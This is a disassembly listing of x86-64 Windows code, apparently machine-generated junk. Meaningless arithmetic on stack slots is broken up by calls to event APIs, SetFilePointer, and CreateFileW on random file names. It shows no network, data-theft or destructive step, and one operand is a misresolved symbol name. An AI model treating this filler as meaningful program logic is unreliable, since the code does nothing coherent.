mov rax, qword [rsp + 0x1c38]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x237]
sar eax, cl
mov byte [rsp + 0x11e], al
lea rax, [rsp + 0x1cf0]
mov qword [rsp + 0x3798], rax
mov rax, qword [rsp + 0x988]
mov eax, dword [rax]
add eax, dword [0x1400fd318]
mov dword [rsp + 0x8e8], eax
mov rax, qword [rsp + 0x528]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2398]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x72c], ax
lea rax, [rsp + 0x220]
mov qword [0x1400fd488], rax
mov rax, qword [rsp + 0x320]
mov rax, qword [rax]
add rax, qword [0x1400fd230]
mov qword [rsp + 0x760], rax
movzx eax, word [rsp + 0x1cc]
movzx ecx, word [rsp + 0x40c]
sar eax, cl
mov word [rsp + 0x13c], ax
lea rax, [rsp + 0x290]
mov qword [rsp + 0x1c10], rax
mov rax, qword [rsp + 0xb50]
mov rax, qword [rax]
mov rcx, qword [0x1400fd230]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1750], rax
lea rax, [rsp + 0x82]
mov qword [rsp + 0x2cb8], rax
mov rax, qword [rsp + 0x1870]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12e0]
add rax, qword [rcx]
mov qword [rsp + 0x10c0], rax
mov rax, qword [0x1400fd2c8]
mov ecx, dword [rsp + 0x8d4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xbb8], eax
mov rax, qword [rsp + 0x1228]
movzx eax, word [rax]
mov word [rsp + 0x5fc], ax
lea rax, [rsp + 0x1e88]
mov qword [0x1400fd490], rax
mov rax, qword [rsp + 0x800]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x520]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x58], al
lea rax, [rsp + 0x8e4]
mov qword [rsp + 0x1e48], rax
mov rax, qword [rsp + 0x1798]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x528]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x560], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3678], rax
mov rax, qword [rsp + 0xa50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x42c]
xor eax, ecx
mov rcx, qword [rsp + 0x14c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x1e60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3d58]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x1af8], rax
mov rax, qword [0x1400fd2c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x2e58]
mov qword [rsp + 0x4800], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4800]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xbbc], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xb3a5
mov rcx, qword [rsp + 0x1778]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x112c], eax
movzx eax, byte [rsp + 0x133]
mov byte [rsp + 0x2ca], al
mov rax, qword [rsp + 0x1458]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x314]
add eax, ecx
mov word [rsp + 0xf0], ax
movzx eax, word [rsp + 0x244]
mov rcx, qword [rsp + 0x648]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fd260], ax
mov rax, qword [rsp + 0x1000]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2be8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1038], rax
mov rax, qword [rsp + 0x1138]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf58]
add rax, qword [rcx]
mov qword [rsp + 0x19c0], rax
mov rax, qword [rsp + 0x16f0]
movzx ecx, al
mov rax, qword [rsp + 0x14a0]
sar rax, cl
mov rcx, qword [rsp + 0x7d8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x410]
mov word [rsp + 0x15c0], ax
mov rax, qword [rsp + 0x1008]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x514]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x510], eax
mov rax, qword [rsp + 0x2858]
mov qword [rsp + 0x2b68], rax
mov rax, qword [rsp + 0x2cb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x508]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xdc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x520]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59]
and eax, ecx
mov rcx, qword [rsp + 0x520]
mov byte [rcx], al
lea rax, [rsp + 0xe10]
mov qword [rsp + 0x14c0], rax
mov rax, qword [rsp + 0xd70]
movzx eax, word [rax]
mov word [0x1400fd498], ax
movzx eax, word [rsp + 0x850]
movzx ecx, word [rsp + 0xeac]
xor eax, ecx
mov rcx, qword [rsp + 0x650]
mov word [rcx], ax
movzx eax, word [rsp + 0x144]
movzx ecx, word [rsp + 0x380]
or eax, ecx
mov word [rsp + 0x450], ax
mov rax, qword [rsp + 0x17d0]
mov rcx, qword [rsp + 0x9b0]
mov qword [rsp + 0x4808], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4808]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd00], rax
mov rax, qword [rsp + 0x1a18]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1400]
mov qword [rsp + 0x4810], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4810]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xd58]
mov dword [rcx], eax
lea rax, [rsp + 0xf98]
mov qword [rsp + 0x1fd8], rax
mov rcx, qword [rsp + 0x2478]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1c38]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x61]
sub eax, ecx
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0x1190]
movzx eax, word [rax]
mov word [rsp + 0x3628], ax
movzx eax, word [0x1400fc398]
movzx ecx, word [rsp + 0x160]
add eax, ecx
mov word [rsp + 0x5bc], ax
mov rax, qword [rsp + 0x16e8]
mov rcx, qword [rsp + 0xc90]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1400fc458], rax
mov rax, qword [0x1400fd270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x450]
add eax, ecx
mov word [rsp + 0x1cc], ax
mov rax, qword [rsp + 0x9c0]
mov rcx, qword [rsp + 0xd30]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1d98], rax
mov rax, qword [rsp + 0xb20]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1088]
sar rax, cl
mov qword [rsp + 0x1060], rax
mov rax, qword [rsp + 0x17a8]
mov eax, dword [rax]
mov dword [rsp + 0x13d4], eax
mov rax, qword [rsp + 0x1898]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1368]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x22c], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x6fac
mov rcx, qword [rsp + 0x3640]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13b0], eax
mov eax, 0x38
imul rax, rax, 3
mov dword [rsp + rax + 0x5b70], 0x4afa84ab
mov rax, qword [rsp + 0xf48]
movzx eax, byte [rax]
mov byte [rsp + 0xf8], al
mov rax, qword [rsp + 0x948]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2820], eax
mov rax, qword [rsp + 0x11c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa68]
mov qword [rsp + 0x4818], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4818]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x1af8], rax
mov rcx, qword [rsp + 0x22a8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xff8]
movsx eax, word [rax]
mov rcx, qword [0x1400fd208]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1400fd1dc], ax
movsx eax, word [rsp + 0x23c]
movsx ecx, word [rsp + 0x78]
xor eax, ecx
mov word [rsp + 0xab8], ax
mov rax, qword [rsp + 0x1358]
movzx eax, word [rax]
mov rcx, qword [0x1400fd1a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5e4], ax
mov rax, qword [rsp + 0x1ad0]
movzx eax, word [rax]
mov word [rsp + 0x590], ax
mov rax, qword [rsp + 0xa88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1938]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x530]
mov byte [rcx], al
mov rax, qword [rsp + 0x22c0]
mov rax, qword [rax]
add rax, qword [0x1400fd3c0]
mov qword [rsp + 0x29e8], rax
lea rax, [rsp + 0x634]
mov qword [rsp + 0x2550], rax
mov rax, qword [rsp + 0x1068]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4f8]
and eax, ecx
mov word [rsp + 0x870], ax
movzx eax, word [rsp + 0x8c]
movzx ecx, word [rsp + 0x37c]
and eax, ecx
mov word [rsp + 0x5d4], ax
mov rax, qword [rsp + 0xd48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x748]
add rax, qword [rcx]
mov qword [0x1400fc470], rax
mov rax, qword [rsp + 0x618]
mov rcx, qword [rsp + 0x2650]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xfe0], rax
mov rax, qword [rsp + 0x1738]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1400fd348]
sar rax, cl
mov qword [rsp + 0xfb8], rax
mov rax, qword [rsp + 0xdb8]
mov qword [rsp + 0x2c30], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x95b7
mov rcx, qword [rsp + 0x2000]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcc4], eax
mov rax, qword [rsp + 0x1168]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x114]
and eax, ecx
mov word [rsp + 0x1dc], ax
mov rcx, qword [rsp + 0x1270]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0xfb]
mov qword [rsp + 0x1998], rax
mov rax, qword [rsp + 0xd40]
mov ecx, dword [rsp + 0x1970]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x678], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.bBHZgFNDoEeAqx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3ee0], rax
mov eax, dword [0x1400fd318]
mov rcx, qword [rsp + 0x1498]
mov qword [rsp + 0x4820], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4820]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x1d80]
mov dword [rcx], eax
lea rax, [rsp + 0xf4]
mov qword [rsp + 0x22d8], rax
mov rcx, qword [rsp + 0x1480]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x8f0], eax
mov rax, qword [rsp + 0x1cf0]
mov qword [0x1400fd4a0], rax
mov rax, qword [rsp + 0x770]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1958]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x1328]
mov word [rcx], ax
mov rax, qword [rsp + 0x1c90]
movzx eax, word [rax]
mov word [rsp + 0x6c0], ax
mov rax, qword [rsp + 0x11e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd68]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xf70]
mov word [rcx], ax
mov rax, qword [rsp + 0x18b8]
mov rcx, qword [rsp + 0x978]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x29b8], rax
mov rax, qword [0x1400fd358]
mov rcx, qword [rsp + 0x1498]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xf60]
mov dword [rcx], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xee73
mov rcx, qword [rsp + 0x1d08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x21a8], eax
mov rax, qword [rsp + 0xfd8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1478]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x2ca], al
mov rcx, qword [rsp + 0x1810]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2758], eax
mov rax, qword [rsp + 0x1748]
mov qword [rsp + 0x3740], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xb536
mov rcx, qword [rsp + 0x1940]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xac0], eax
movsx eax, word [0x1400fd210]
mov rcx, qword [rsp + 0x1698]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1240]
mov word [rcx], ax
mov rax, qword [rsp + 0x11e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1400fd200], ax
lea rax, [rsp + 0x1f50]
mov qword [rsp + 0x2df0], rax
movzx eax, word [rsp + 0x2d8]
movzx ecx, word [rsp + 0x710]
and eax, ecx
mov word [rsp + 0x720], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3d78], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1b8b
mov rcx, qword [rsp + 0x1820]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13e0], eax
movzx eax, byte [rsp + 0x22b]
mov rcx, qword [rsp + 0x1758]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0xb0], al
lea rax, [0x1400fc384]
mov qword [rsp + 0x1d40], rax
mov rax, qword [rsp + 0x1008]
mov ecx, dword [rsp + 0xbc0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xc8], eax
mov rax, qword [rsp + 0x2b68]
mov rcx, qword [rsp + 0x1f78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2378], rax
mov rcx, qword [rsp + 0x1210]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xad0], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.HnZiN_bCIskpbcACKrR69eJ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x29b0], rax
movsx eax, byte [rsp + 0x237]
movsx ecx, byte [rsp + 0x13a]
sar eax, cl
mov byte [rsp + 0x10c], al
mov rcx, qword [rsp + 0x2508]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 1
xor r8d, r8d
mov edx, 0xddf7
mov rcx, qword [rsp + 0x1028]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x27cc], eax
mov rax, qword [rsp + 0x1a00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15c0]
xor eax, ecx
mov rcx, qword [rsp + 0x12d0]
mov word [rcx], ax
lea rax, [rsp + 0x254]
mov qword [0x1400fd4a8], rax
mov rax, qword [rsp + 0x1000]
mov rax, qword [rax]
mov qword [rsp + 0x4858], rax
mov rax, qword [rsp + 0x22b8]
mov rcx, qword [rsp + 0xf58]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xb50]
mov qword [rcx], rax
movzx eax, word [rsp + 0x8cc]
mov word [rsp + 0x85c], ax
movzx eax, word [0x1400fd304]
mov rcx, qword [rsp + 0xb60]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x6fc], ax
mov rcx, qword [rsp + 0x2568]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1aa8], eax
lea rax, [rsp + 0x570]
mov qword [rsp + 0x37e0], rax
mov rax, qword [rsp + 0x1b70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x13a]
sub eax, ecx
mov byte [rsp + 0x3f8], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0x2335
mov rcx, qword [rsp + 0x2e98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x8fc], eax
mov rax, qword [rsp + 0x2910]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf30]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x14b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd48]
mov rcx, qword [rsp + 0x1268]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2d50], rax
movsx eax, word [rsp + 0x270]
mov rcx, qword [0x1400fd278]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1400fd458], ax
movzx eax, word [rsp + 0x6f0]
movzx ecx, word [rsp + 0x210]
sar eax, cl
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
lea rax, [rsp + 0xfa]
mov qword [rsp + 0x1cd0], rax
mov eax, dword [rsp + 0xcf0]
cdq
mov rcx, qword [rsp + 0xc50]
idiv dword [rcx]
mov dword [rsp + 0x47c], eax
mov rax, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x1f38]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2b0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x2948]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4350], eax
lea rax, [rsp + 0x1a8]
mov qword [rsp + 0x2828], rax
mov rax, qword [rsp + 0x1860]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x694]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xca8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1340]
movzx eax, byte [rax]
mov byte [rsp + 0x2d4], al
mov rax, qword [rsp + 0x1c10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x43c]
and eax, ecx
mov word [rsp + 0x560], ax
movzx eax, word [rsp + 0x4f0]
movzx ecx, word [rsp + 0x420]
and eax, ecx
mov word [0x1400fc3d0], ax
mov rax, qword [rsp + 0x1830]
mov rcx, qword [rsp + 0x19c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc78], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x781d
mov rcx, qword [rsp + 0x1bd8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x8ec], eax
movzx eax, word [rsp + 0x2c0]
movzx ecx, word [rsp + 0x308]
shl eax, cl
mov word [rsp + 0x59c], ax
movsx eax, word [rsp + 0x2bc]
movsx ecx, word [rsp + 0xc0]
or eax, ecx
mov word [rsp + 0x304], ax
mov rax, qword [rsp + 0x1298]
mov qword [rsp + 0x1f70], rax
mov rax, qword [0x1400fd380]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1d00]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x1cf0], rax
mov rcx, qword [rsp + 0x3dc0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x11b8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.p8OOhCkLbgIKR
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1f88], rax
mov rax, qword [rsp + 0x1860]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x56c]
shr eax, cl
mov rcx, qword [rsp + 0x750]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1478]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10c]
sub eax, ecx
mov byte [rsp + 0x3f5], al
movzx eax, word [rsp + 0x4a0]
movzx ecx, word [rsp + 0x720]
sub eax, ecx
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
mov rcx, qword [rsp + 0x16b0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1070]
mov qword [0x1400fd4b0], rax
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0x16d], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x1333
mov rcx, qword [rsp + 0x2ed8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x478], eax
mov rax, qword [rsp + 0x24c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1378]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x13e8], eax
mov rcx, qword [rsp + 0x16b0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1a9c], eax
movzx eax, word [rsp + 0x290]
mov word [rsp + 0xe74], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x4fef
mov rcx, qword [rsp + 0x1320]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbcc], eax
mov rax, qword [rsp + 0x11e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7d0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x70], ax
mov rcx, qword [rsp + 0x2bf8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xbb0], eax
mov rax, qword [0x1400fd238]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfc]
sar eax, cl
mov byte [rsp + 0x82], al
lea rax, [rsp + 0x9f8]
mov qword [rsp + 0x19e8], rax
mov rax, qword [rsp + 0xa68]
mov rcx, qword [rsp + 0x1888]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc68], rax
movsx eax, word [0x1400fd47c]
mov rcx, qword [rsp + 0x278]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb00], ax
movzx eax, word [rsp + 0x128]
mov rcx, qword [rsp + 0x2a0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1400fd450], ax
mov rax, qword [rsp + 0x3148]
mov rcx, qword [rsp + 0x1250]
mov qword [rsp + 0x4828], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4828]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x950]
mov rcx, qword [rsp + 0x14d0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcb0]
mov qword [rcx], rax
lea rax, [rsp + 0x2e88]
mov qword [rsp + 0x22b0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.h1lgGBy02O5SDMI
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2b88], rax
movsx eax, word [0x1400fd440]
movsx ecx, word [rsp + 0x25c]
or eax, ecx
mov rcx, qword [rsp + 0x1438]
mov word [rcx], ax
mov rax, qword [rsp + 0x1478]
movzx eax, byte [rax]
mov byte [rsp + 0x238], al
mov rax, qword [rsp + 0x818]
movzx ecx, al
mov rax, qword [rsp + 0x1170]
shr rax, cl
mov rcx, qword [rsp + 0x2828]
mov qword [rcx], rax
mov eax, dword [rsp + 0x574]
mov ecx, dword [0x1400fd1d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x348], eax
mov rcx, qword [rsp + 0x1bb8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xad0], eax
mov rax, qword [rsp + 0x9c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1c28]
add eax, dword [rcx]
mov dword [rsp + 0x10ec], eax
movzx eax, byte [rsp + 0x138]
mov rcx, qword [rsp + 0x1090]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1c2], al
lea rax, [rsp + 0x78]
mov qword [0x1400fd4b8], rax
lea rax, [rsp + 0x394]
mov qword [rsp + 0x29f0], rax
movzx eax, word [rsp + 0x4a8]
movzx ecx, word [rsp + 0xd4]
and eax, ecx
mov rcx, qword [rsp + 0xa98]
mov word [rcx], ax
mov rax, qword [rsp + 0x1d98]
mov rcx, qword [rsp + 0x1070]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1fa0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1a18]
mov eax, dword [rax]
mov dword [rsp + 0x10e4], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x3388
mov rcx, qword [rsp + 0x1f88]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x27e0], eax
mov rax, qword [rsp + 0xdc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x530]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1c6], al
mov rax, qword [rsp + 0x1f10]
mov rax, qword [rax]
mov qword [rsp + 0x1a58], rax
movsx eax, word [rsp + 0x19c]
mov rcx, qword [rsp + 0xf50]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x218], ax
lea rax, [rsp + 0x178]
mov qword [rsp + 0x17c0], rax
mov rax, qword [0x1400fd3e0]
mov rcx, qword [rsp + 0xa30]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1400fd250], rax
mov rax, qword [rsp + 0xb60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x37c]
or eax, ecx
mov rcx, qword [rsp + 0xb30]
mov word [rcx], ax
mov rax, qword [rsp + 0x1b0]
mov rcx, qword [0x1400fd2b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x1c50], rax
mov rcx, qword [rsp + 0x1e68]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 2
xor r8d, r8d
mov edx, 0x734b
mov rcx, qword [rsp + 0x808]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x9e8], eax
lea rax, [rsp + 0x3da8]
mov qword [rsp + 0x2a90], rax
mov rax, qword [rsp + 0x22d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2f28]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x2990]
mov byte [rcx], al
mov rcx, qword [rsp + 0x1b90]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x12c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1450]
mov qword [rsp + 0x4830], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4830]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xe04], eax
mov eax, dword [rsp + 0x1988]
mov ecx, dword [rsp + 0xacc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xbc4], eax
mov rax, qword [rsp + 0x1520]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x830]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x118], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.mUGGxzjnxCcl3PooM4FN5vfU
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3060], rax
mov rax, qword [rsp + 0x2300]
mov rax, qword [rax]
mov qword [rsp + 0x2578], rax
mov rax, qword [rsp + 0x1230]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2090]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fc478], ax
mov rcx, qword [rsp + 0x2c50]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2174], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xd3
mov rcx, qword [rsp + 0x3640]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x11a8], eax
movsx eax, word [rsp + 0x464]
movsx ecx, word [0x1400fc478]
add eax, ecx
mov rcx, qword [rsp + 0xda0]
mov word [rcx], ax
lea rax, [rsp + 0x5e8]
mov qword [rsp + 0x1b68], rax
mov rax, qword [rsp + 0x1318]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4bc]
and eax, ecx
mov word [rsp + 0x1dc], ax
mov eax, dword [0x1400fd318]
mov ecx, dword [rsp + 0x79c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1bc0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x2d4]
mov rcx, qword [rsp + 0x1f58]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x936], al
mov rax, qword [rsp + 0x14b8]
mov rcx, qword [rsp + 0x1da8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x18c8], rax
movzx eax, word [rsp + 0xb00]
mov word [rsp + 0x6b4], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x2ab8], rax
movzx eax, word [rsp + 0x42c]
movzx ecx, word [rsp + 0x378]
add eax, ecx
mov rcx, qword [rsp + 0x1768]
mov word [rcx], ax
lea rax, [rsp + 0x16a8]
mov qword [0x1400fd4c0], rax
mov rax, qword [0x1400fc458]
mov qword [rsp + 0x3948], rax
mov rax, qword [rsp + 0x780]
mov rax, qword [rax]
